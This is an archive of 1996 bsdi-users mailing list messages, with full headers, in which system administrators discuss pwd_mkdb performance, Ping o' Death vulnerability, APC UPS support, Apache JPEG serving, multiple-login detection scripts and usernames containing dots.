NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Sun Dec 1 18:02:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1216" "Thu" "28" "November" "1996" "11:35:09" "-0700" "Raymond Richmond" "richmond@cronus.oanet.com" nil "26" "Improving performance of processes that use passwd." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA29518 for ; Thu, 28 Nov 1996 13:38:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA27076 for bsdi-users-outgoing; Thu, 28 Nov 1996 13:35:38 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Raymond Richmond Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Improving performance of processes that use passwd. Date: Thu, 28 Nov 1996 11:35:09 -0700 (MST) Our BSDI server which we use presently use for mail services has a passwd file containing approximately 8000 uid's. Presently we are experiencing a lot of situations where our automatic adduser scripts, password changing scripts, etc. are all encountering "passwd file busy, resource temp unavailable." We have been very careful timining our scripts so there is never any overlap, but it is taking up to 25 seconds to do a pwd_mkdb. I feel that this is too long and that it should be possible to re-allocate resources to process this faster. The system has 5Gig of disk, 128 Meg of RAM, P100. I may be able to improve the processor and MAYBE the RAM, but I would like to maximize the effeciency through configuration rather than brute force. Any suggestions would be GREATLY appreciated. -- __^__ __^__ ( ___ )------------------------------------------------------( ___ ) | / |---Raymond Richmond----------------------(403)430-0811 -| \ | | / |---------OA Internet----------Network Operations--------| \ | |_*_| |_*_| (_____)----------------richmond@oanet.com--------------------(_____) From VM Sun Dec 1 18:02:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["388" "Thu" "28" "November" "1996" "19:40:09" "-0000" "steve lalonde" "steve@enta.net" nil "16" "Re: ping o' death?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA01543 for ; Thu, 28 Nov 1996 14:52:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA27168 for bsdi-users-outgoing; Thu, 28 Nov 1996 14:43:46 -0500 (EST) Message-Id: <199611281940.TAA27590@enable.enta.net> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "steve lalonde" Sender: owner-bsdi-users@lists.gateway.com To: "Theodore Hope" , Subject: Re: ping o' death? Date: Thu, 28 Nov 1996 19:40:09 -0000 if you read all the way down it says freebsd and bsdi ae both safe from this sort of attack. steve ---------- > From: Theodore Hope > To: bsdi-users@BSDI.COM > Subject: ping o' death? > Date: 28 November 1996 14:15 > > Does anyone know if BSD/OS is vulnerable to the Ping o' Death? > This is described in http://www.sophist.demon.co.uk/ping. > > -T. From VM Sun Dec 1 18:02:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["998" "Thu" "28" "November" "1996" "14:01:32" "-0600" "Gail A. Harless" "gailh@freedom.landoflakes.com" nil "23" "BSDI/APC Back-UPS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA01548 for ; Thu, 28 Nov 1996 14:52:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA27182 for bsdi-users-outgoing; Thu, 28 Nov 1996 14:49:59 -0500 (EST) In-Reply-To: <199611281752.RAA13128@genesis.domino.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Gail A. Harless" Sender: owner-bsdi-users@lists.gateway.com To: BSD mailing list Subject: BSDI/APC Back-UPS Date: Thu, 28 Nov 1996 14:01:32 -0600 (CST) I just purchased an APC Back-UPS Model 600 only to find out that there is no software available from APC to interface with my BSDI on my server. In addition, I cannot find a cable to connect the baackup unit with the server. Should I send the unit back or is there a way around this problem? Does anyone know of another battery backkup that comes with software to interface with BSDI? Does anyone know of a cable? Has anyone written software to connect the APC unit with their BSDI server? I need advice ASAP because we are just starting to sign up customers. Regards, Tim Harless ****************************************************************************** Land of Lakes Communications Setting New Standards in Quality and Customer Service http://www.LandofLakes.com gailh@LandofLakes.com (612) 462-1285 ****************************************************************************** From VM Sun Dec 1 18:02:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1757" "Thu" "28" "November" "1996" "14:50:38" "-0500" "Parthiv Shah" "parthiv@corp.idt.net" nil "44" "Re: Improving performance of processes that use passwd." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA01553 for ; Thu, 28 Nov 1996 14:54:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA27188 for bsdi-users-outgoing; Thu, 28 Nov 1996 14:50:51 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Parthiv Shah Sender: owner-bsdi-users@lists.gateway.com To: Raymond Richmond cc: bsdi-users@BSDI.COM Subject: Re: Improving performance of processes that use passwd. Date: Thu, 28 Nov 1996 14:50:38 -0500 (EST) man pwd_mkdb look for -c option :) e.g. pwd_mkdb -c 20000 -p /etc/master.passwd Parthiv -- Shah, Parthiv http://www.netadmin.net/ parthiv@corp.idt.net (201) 928 - 4414 Systems Administrator at IDT pgp? -> finger parthiv@haven.ios.com On Thu, 28 Nov 1996, Raymond Richmond wrote: > Date: Thu, 28 Nov 1996 11:35:09 -0700 (MST) > From: Raymond Richmond > To: bsdi-users@BSDI.COM > Subject: Improving performance of processes that use passwd. > > Our BSDI server which we use presently use for mail services has > a passwd file containing approximately 8000 uid's. Presently we are > experiencing a lot of situations where our automatic adduser scripts, > password changing scripts, etc. are all encountering "passwd file busy, > resource temp unavailable." > We have been very careful timining our scripts so there is never > any overlap, but it is taking up to 25 seconds to do a pwd_mkdb. I feel > that this is too long and that it should be possible to re-allocate > resources to process this faster. > > The system has 5Gig of disk, 128 Meg of RAM, P100. I may be able > to improve the processor and MAYBE the RAM, but I would like to maximize > the effeciency through configuration rather than brute force. > > Any suggestions would be GREATLY appreciated. > > -- > > __^__ __^__ > ( ___ )------------------------------------------------------( ___ ) > | / |---Raymond Richmond----------------------(403)430-0811 -| \ | > | / |---------OA Internet----------Network Operations--------| \ | > |_*_| |_*_| > (_____)----------------richmond@oanet.com--------------------(_____) > From VM Sun Dec 1 18:02:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["385" "Thu" "28" "November" "1996" "15:54:50" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "16" "Apache not serving JPG's" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA01557 for ; Thu, 28 Nov 1996 14:57:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA27219 for bsdi-users-outgoing; Thu, 28 Nov 1996 14:55:17 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Apache not serving JPG's Date: Thu, 28 Nov 1996 15:54:50 -0400 (AST) I just converted the NT server at work here to BSDI 2.1 and much to my dismay have discovered that Apache does not serve JPEG's ouyt of the box. I have a number of them in a directory and only the .GIF and .XBMs are showing up in the browser. All permissions are the same. In which file do I specify that it should also serve .jpg files? Thanks. -- Jeff jacampbe@is2.dal.ca From VM Sun Dec 1 18:02:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1606" "Thu" "28" "November" "1996" "14:54:09" "-0500" "Douglas Sand" "dsand@cyberzone-inc.com" nil "44" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA01828 for ; Thu, 28 Nov 1996 15:00:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA27225 for bsdi-users-outgoing; Thu, 28 Nov 1996 14:57:39 -0500 (EST) Message-Id: <1.5.4.32.19961128195409.006b14a0@main.cyberzone-inc.com> X-Sender: dsand@main.cyberzone-inc.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Douglas Sand Sender: owner-bsdi-users@lists.gateway.com To: jmcilvoy@inter-linc.com Cc: bsdi-users@BSDI.COM Subject: Re: Double Logins Date: Thu, 28 Nov 1996 14:54:09 -0500 Jimmy, Thanks for the response. Somehow when I set up our system, I made it so the ONLY people who show up using the FINGER or WHO commands are the people litterly in the UNIX system which would only be our employees. I have tried changing one of our test users from /dev/null to /bin/ppp, and it worked without a problem, however, they still do not show up with the finger or who command. We do not allow customer access to our system via Telnet or FTP, and it seems that the only people who show up with the finger and who are the ones either LIVE on an internal machine, a person telnetted in or someone using ftp into our system. Any Ideas???? Thanks...Doug At 10:00 AM 11/28/96 -0600, you wrote: >In my System, BSDI 2.1 with a Digi-Xem board their shell is ppp. >But they still get asked for a login and password. And the do show up >when you do a who. >This is what I have placed in Dialin.login. It is rudimentary at best, >but effective >###################################################### >val=`who | grep $1 | wc -l` >if [ $val -gt 1 ] ; then >date >> /var/log/ml.log >echo $1 is tryin to use multiple logins! >> /var/log/ml.log >#echo "Multiple Login Detected Check logfile" | mail >jmcilvoy@ns1.inter-linc.co$ >fi >##################################################### //========================++===============================\\ || Douglas Sand || dsand@cyberzone-inc.com || || CyberZone, Inc. || http://www.cyberzone-inc.com || || Ann Arbor, Michigan || (313) 668-2060 || \\========================++===============================// From VM Sun Dec 1 18:02:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1145" "Thu" "28" "November" "1996" "15:31:44" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "29" "Re: BSDI/APC Back-UPS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA02910 for ; Thu, 28 Nov 1996 15:47:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA27300 for bsdi-users-outgoing; Thu, 28 Nov 1996 15:40:35 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: "Gail A. Harless" cc: BSD mailing list Subject: Re: BSDI/APC Back-UPS Date: Thu, 28 Nov 1996 15:31:44 -0500 (EST) The proper model comes with the cables and software. On Thu, 28 Nov 1996, Gail A. Harless wrote: > I just purchased an APC Back-UPS Model 600 only to find out that there is > no software available from APC to interface with my BSDI on my server. In > addition, I cannot find a cable to connect the baackup unit with the > server. Should I send the unit back or is there a way around this > problem? Does anyone know of another battery backkup that comes with > software to interface with BSDI? Does anyone know of a cable? Has anyone > written software to connect the APC unit with their BSDI server? I need > advice ASAP because we are just starting to sign up customers. > > Regards, > Tim Harless > > ****************************************************************************** > Land of Lakes Communications > Setting New Standards in Quality and Customer Service > > > http://www.LandofLakes.com > gailh@LandofLakes.com (612) 462-1285 > ****************************************************************************** > > > From VM Sun Dec 1 18:02:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["456" "Thu" "28" "November" "1996" "15:34:03" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "13" "apache" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA02915 for ; Thu, 28 Nov 1996 15:49:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA27317 for bsdi-users-outgoing; Thu, 28 Nov 1996 15:42:31 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: apache Date: Thu, 28 Nov 1996 15:34:03 -0500 (EST) I am using the standard version of apache that comes with version 2.1. I have problems every now and again with it locking up and using 99% resources. Anyone else have this problem and know what causes it? only happens about once or twice a month. Kill the process and restart httpd and everything is fine. Alot of my users start with out lame home page and when it doesn't come up, they think the net is down . thanks in advance. brian From VM Sun Dec 1 18:02:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1407" "Thu" "28" "November" "1996" "16:12:20" "" "BSDI Mail" "bsdimail@pcrealm.net" nil "34" "Re: Improving performance of processes that use passwd." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA03994 for ; Thu, 28 Nov 1996 16:25:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA27399 for bsdi-users-outgoing; Thu, 28 Nov 1996 16:14:45 -0500 (EST) Message-Id: <199611282114.QAA11303@home.pcrealm.net> Reply-To: "BSDI Mail" X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "BSDI Mail" Sender: owner-bsdi-users@lists.gateway.com To: "bsdi-users@BSDI.COM" , "Raymond Richmond" Subject: Re: Improving performance of processes that use passwd. Date: Thu, 28 Nov 96 16:12:20 I think using a pentium 150 or 166 would greatly speed you up, or even a dual pentium 100... On Thu, 28 Nov 1996 11:35:09 -0700 (MST), Raymond Richmond wrote: > Our BSDI server which we use presently use for mail services has >a passwd file containing approximately 8000 uid's. Presently we are >experiencing a lot of situations where our automatic adduser scripts, >password changing scripts, etc. are all encountering "passwd file busy, >resource temp unavailable." > We have been very careful timining our scripts so there is never >any overlap, but it is taking up to 25 seconds to do a pwd_mkdb. I feel >that this is too long and that it should be possible to re-allocate >resources to process this faster. > > The system has 5Gig of disk, 128 Meg of RAM, P100. I may be able >to improve the processor and MAYBE the RAM, but I would like to maximize >the effeciency through configuration rather than brute force. > > Any suggestions would be GREATLY appreciated. > >-- > > __^__ __^__ >( ___ )------------------------------------------------------( ___ ) > | / |---Raymond Richmond----------------------(403)430-0811 -| \ | > | / |---------OA Internet----------Network Operations--------| \ | > |_*_| |_*_| >(_____)----------------richmond@oanet.com--------------------(_____) > > From VM Sun Dec 1 18:02:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1789" "Thu" "28" "November" "1996" "14:52:22" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "49" "Re: BSDI/APC Back-UPS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA06444 for ; Thu, 28 Nov 1996 18:02:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA27537 for bsdi-users-outgoing; Thu, 28 Nov 1996 17:53:16 -0500 (EST) Message-Id: <3.0.1.32.19961128145138.006a6028@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer Cc: "Gail A. Harless" , BSD mailing list Subject: Re: BSDI/APC Back-UPS Date: Thu, 28 Nov 1996 14:52:22 -0800 I beg your pardon? I have a house full of APC rackmount UPSs and non of them came with software for BSD/OS. As a matter of fact, I have spoken with APC about this, and they said that BSD/OS was not supported. I have seen on this list many comments about various free-bsd and linux interfaces to the APC units. Anyone care to comment as to whether or not the will work on BSD/OS? If they do, can I get a copy of the source? On the other hand, if Brian says that they come with the software, perhaps he can direct me to the person to call to get it? -Kent- At 03:31 PM 11/28/96 -0500, Brian Backer wrote: >The proper model comes with the cables and software. > > >On Thu, 28 Nov 1996, Gail A. Harless wrote: > >> I just purchased an APC Back-UPS Model 600 only to find out that there is >> no software available from APC to interface with my BSDI on my server. In >> addition, I cannot find a cable to connect the baackup unit with the >> server. Should I send the unit back or is there a way around this >> problem? Does anyone know of another battery backkup that comes with >> software to interface with BSDI? Does anyone know of a cable? Has anyone >> written software to connect the APC unit with their BSDI server? I need >> advice ASAP because we are just starting to sign up customers. >> >> Regards, >> Tim Harless >> >> ****************************************************************************** >> Land of Lakes Communications >> Setting New Standards in Quality and Customer Service >> >> >> http://www.LandofLakes.com >> gailh@LandofLakes.com (612) 462-1285 >> ****************************************************************************** >> >> >> > > From VM Sun Dec 1 18:02:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["782" "Thu" "28" "November" "1996" "18:33:31" "-0500" "Shawn Lewis" "slewis@thecia.net" nil "35" "RE: Usernames with a . in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA07521 for ; Thu, 28 Nov 1996 18:38:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA27603 for bsdi-users-outgoing; Thu, 28 Nov 1996 18:32:09 -0500 (EST) Message-ID: <01BBDD5A.6FC817C0@prestige.thecia.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: Shawn Lewis Sender: owner-bsdi-users@lists.gateway.com To: BSD mailing list Subject: RE: Usernames with a . in them Date: Thu, 28 Nov 1996 18:33:31 -0500 Use an alias in /etc/aliases pointing to a regular name. Shawn --------------------------------------------- Shawn Lewis slewis@thecia.net Sr Systems Engineer 617.225.4100 x122 Complete Internet Access, Inc We Give Good Web!!!! --------------------------------------------- ---------- From: Dave MacRae[SMTP:dave@businessmonitor.co.uk] Sent: Thursday, November 28, 1996 12:05 PM To: BSD mailing list Subject: Usernames with a . in them Does anyone know how can I add a user name with a . in it, eg dave.macrae Regards Dave MacRae -- Business Monitor Webmaster http://www.businessmonitor.co.uk Phone: +44 131 551 3515 Main Office: +44 171 820 7733 Fax: +44 131 551 3514 +44 171 820 0748 From VM Sun Dec 1 18:02:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1352" "Thu" "28" "November" "1996" "17:56:31" "-0600" "Gail A. Harless" "gailh@freedom.landoflakes.com" nil "38" "Re: BSDI/APC Back-UPS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA07792 for ; Thu, 28 Nov 1996 18:47:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA27618 for bsdi-users-outgoing; Thu, 28 Nov 1996 18:45:01 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Gail A. Harless" Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: BSD mailing list Subject: Re: BSDI/APC Back-UPS Date: Thu, 28 Nov 1996 17:56:31 -0600 (CST) Are you saying that there is a different model of APC Back-UPS that does support BDS/OS? Regards, Gail On Thu, 28 Nov 1996, Brian Backer wrote: > The proper model comes with the cables and software. > > > On Thu, 28 Nov 1996, Gail A. Harless wrote: > > > I just purchased an APC Back-UPS Model 600 only to find out that there is > > no software available from APC to interface with my BSDI on my server. In > > addition, I cannot find a cable to connect the baackup unit with the > > server. Should I send the unit back or is there a way around this > > problem? Does anyone know of another battery backkup that comes with > > software to interface with BSDI? Does anyone know of a cable? Has anyone > > written software to connect the APC unit with their BSDI server? I need > > advice ASAP because we are just starting to sign up customers. > > > > Regards, > > Tim Harless > > > > ****************************************************************************** > > Land of Lakes Communications > > Setting New Standards in Quality and Customer Service > > > > > > http://www.LandofLakes.com > > gailh@LandofLakes.com (612) 462-1285 > > ****************************************************************************** > > > > > > > From VM Sun Dec 1 18:02:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1419" "Thu" "28" "November" "1996" "19:25:26" "" "Greg Wiktor" "internex@pcrealm.net" nil "35" "Re: Improving performance of processes that use passwd." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA08888 for ; Thu, 28 Nov 1996 19:33:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA27672 for bsdi-users-outgoing; Thu, 28 Nov 1996 19:28:07 -0500 (EST) Message-Id: <199611290026.TAA12343@home.pcrealm.net> Reply-To: "Greg Wiktor - System Administrator " X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "Greg Wiktor - System Administrator " Sender: owner-bsdi-users@lists.gateway.com To: "BSDI Mail" , "bsdi-users@BSDI.COM" , "David Morrison" , "Raymond Richmond" Subject: Re: Improving performance of processes that use passwd. Date: Thu, 28 Nov 96 19:25:26 Even if BSDI doesnt support dual, wouldn't it make a change anyway? On Thu, 28 Nov 1996 17:44:29 -0500, David Morrison wrote: >At 04:12 PM 11/28/96, BSDI Mail wrote: >>>I feel that this is too long and that it should be possible to re-allocate >>>resources to process this faster. > >>I think using a pentium 150 or 166 would greatly speed you up, or even a >dual >pentium 100... > >BSDI 2.x doesn't support SMP (multiple processors). > >=dm= > >--------------------------------------------------------------------- >David Morrison | http://www.salamander.com/~speed/ <--------| >speed@salamander.com | http://www.salamander.com/bike.html <--------| >System Administrator |--> Member Matt's Script Archive Help Team | >Salamander.Com |--> see http://www.worldwidemart.com/scripts/ | >--------------------------------------------------------------------- > Greg Wiktor Senior System Administrator _____________________________________________________________________ Advantech Internet Services (WWW.PCREALM.NET) 60 Welcher Avenue Peekskill, NY 10566 Tel: 914-736-7300 Fax: 914-736-7024 E-Mail: SYSADMIN@PCREALM.NET ______________________________________________________________________ -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- From VM Sun Dec 1 18:02:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1442" "Thu" "28" "November" "1996" "19:24:57" "" "Greg Wiktor" "internex@pcrealm.net" nil "36" "Re: Improving performance of processes that use passwd." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA08893 for ; Thu, 28 Nov 1996 19:33:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA27665 for bsdi-users-outgoing; Thu, 28 Nov 1996 19:27:01 -0500 (EST) Message-Id: <199611290026.TAA12332@home.pcrealm.net> Reply-To: "Greg Wiktor - System Administrator " X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "Greg Wiktor - System Administrator " Sender: owner-bsdi-users@lists.gateway.com To: "BSDI Mail" , "bsdi-users@BSDI.COM" , "David Morrison" , "Raymond Richmond" Subject: Re: Improving performance of processes that use passwd. Date: Thu, 28 Nov 96 19:24:57 I know, I wonder if BSDI 3.x will, since I do have a dual I would like to use for BSDI... On Thu, 28 Nov 1996 17:44:29 -0500, David Morrison wrote: >At 04:12 PM 11/28/96, BSDI Mail wrote: >>>I feel that this is too long and that it should be possible to re-allocate >>>resources to process this faster. > >>I think using a pentium 150 or 166 would greatly speed you up, or even a >dual >pentium 100... > >BSDI 2.x doesn't support SMP (multiple processors). > >=dm= > >--------------------------------------------------------------------- >David Morrison | http://www.salamander.com/~speed/ <--------| >speed@salamander.com | http://www.salamander.com/bike.html <--------| >System Administrator |--> Member Matt's Script Archive Help Team | >Salamander.Com |--> see http://www.worldwidemart.com/scripts/ | >--------------------------------------------------------------------- > Greg Wiktor Senior System Administrator _____________________________________________________________________ Advantech Internet Services (WWW.PCREALM.NET) 60 Welcher Avenue Peekskill, NY 10566 Tel: 914-736-7300 Fax: 914-736-7024 E-Mail: SYSADMIN@PCREALM.NET ______________________________________________________________________ -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- From VM Sun Dec 1 18:02:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["889" "Thu" "28" "November" "1996" "16:27:02" "-0800" "Y. F. SysAdmin" "gerry@icebox.iceonline.com" nil "42" "Re: Usernames with a . in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA08897 for ; Thu, 28 Nov 1996 19:33:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA27661 for bsdi-users-outgoing; Thu, 28 Nov 1996 19:26:50 -0500 (EST) Message-Id: <199611290027.QAA10989@icebox.iceonline.com> In-Reply-To: <01BBDD5A.6FC817C0@prestige.thecia.com> from "Shawn Lewis" at Nov 28, 96 06:33:31 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "Y.F.SysAdmin" Sender: owner-bsdi-users@lists.gateway.com To: slewis@thecia.net (Shawn Lewis) Cc: bsdi-users@BSDI.COM Subject: Re: Usernames with a . in them Date: Thu, 28 Nov 1996 16:27:02 -0800 (PST) > > Use an alias in /etc/aliases pointing to > a regular name. > > Shawn Or allow a dot in adduser... > --------------------------------------------- > Shawn Lewis slewis@thecia.net > Sr Systems Engineer 617.225.4100 x122 > > Complete Internet Access, Inc > We Give Good Web!!!! > --------------------------------------------- > > > ---------- > From: Dave MacRae[SMTP:dave@businessmonitor.co.uk] > Sent: Thursday, November 28, 1996 12:05 PM > To: BSD mailing list > Subject: Usernames with a . in them > > > Does anyone know how can I add a user name with a . in it, eg dave.macrae > > Regards > > Dave MacRae > > -- > Business Monitor Webmaster http://www.businessmonitor.co.uk > Phone: +44 131 551 3515 Main Office: +44 171 820 7733 > Fax: +44 131 551 3514 +44 171 820 0748 > > > > > From VM Sun Dec 1 18:02:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2103" "Thu" "28" "November" "1996" "17:59:08" "-0700" "Ryan Mooney" "ryan@pcslink.com" nil "48" "Re: BSDI/APC Back-UPS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA09707 for ; Thu, 28 Nov 1996 20:03:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA27745 for bsdi-users-outgoing; Thu, 28 Nov 1996 19:59:32 -0500 (EST) Message-Id: <199611290059.RAA02322@pcslink.com> In-Reply-To: from "Brian Backer" at Nov 28, 96 03:31:44 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Ryan Mooney Sender: owner-bsdi-users@lists.gateway.com To: bbacker@mail.blink.net (Brian Backer) Cc: gailh@freedom.landoflakes.com, bsdi-users@BSDI.COM Subject: Re: BSDI/APC Back-UPS Date: Thu, 28 Nov 1996 17:59:08 -0700 (MST) For BSDI? I think not. There are various other un*x's but no BSDI (as of last month anyway :). From what I've heard BEST Power has some very quality UPS's and they release thier protocol's :) If you have the smartups and get the SNMP option, you can use something like CMU SNMP to scan it and write soem hack sehll scripts... I do know that APC has an SCO port, but I haven't played with it under the BSDI SCO emulation (anyone else?), as I had bad luck with other OS level things (namely a tape backup package under SCO). > > The proper model comes with the cables and software. > > > On Thu, 28 Nov 1996, Gail A. Harless wrote: > > > I just purchased an APC Back-UPS Model 600 only to find out that there is > > no software available from APC to interface with my BSDI on my server. In > > addition, I cannot find a cable to connect the baackup unit with the > > server. Should I send the unit back or is there a way around this > > problem? Does anyone know of another battery backkup that comes with > > software to interface with BSDI? Does anyone know of a cable? Has anyone > > written software to connect the APC unit with their BSDI server? I need > > advice ASAP because we are just starting to sign up customers. > > > > Regards, > > Tim Harless > > > > ****************************************************************************** > > Land of Lakes Communications > > Setting New Standards in Quality and Customer Service > > > > > > http://www.LandofLakes.com > > gailh@LandofLakes.com (612) 462-1285 > > ****************************************************************************** > > > > > > > ---------------------------------------------------------------------------- Ryan Mooney Phone (602)265-9188 PCSLink ryan@pcslink.com Fax (602)265-9357 Internet Services The world needs more bitter, twisted souls. It would be a much better place. ----------------------------------------------------------------------------- From VM Sun Dec 1 18:02:34 1996 Status: 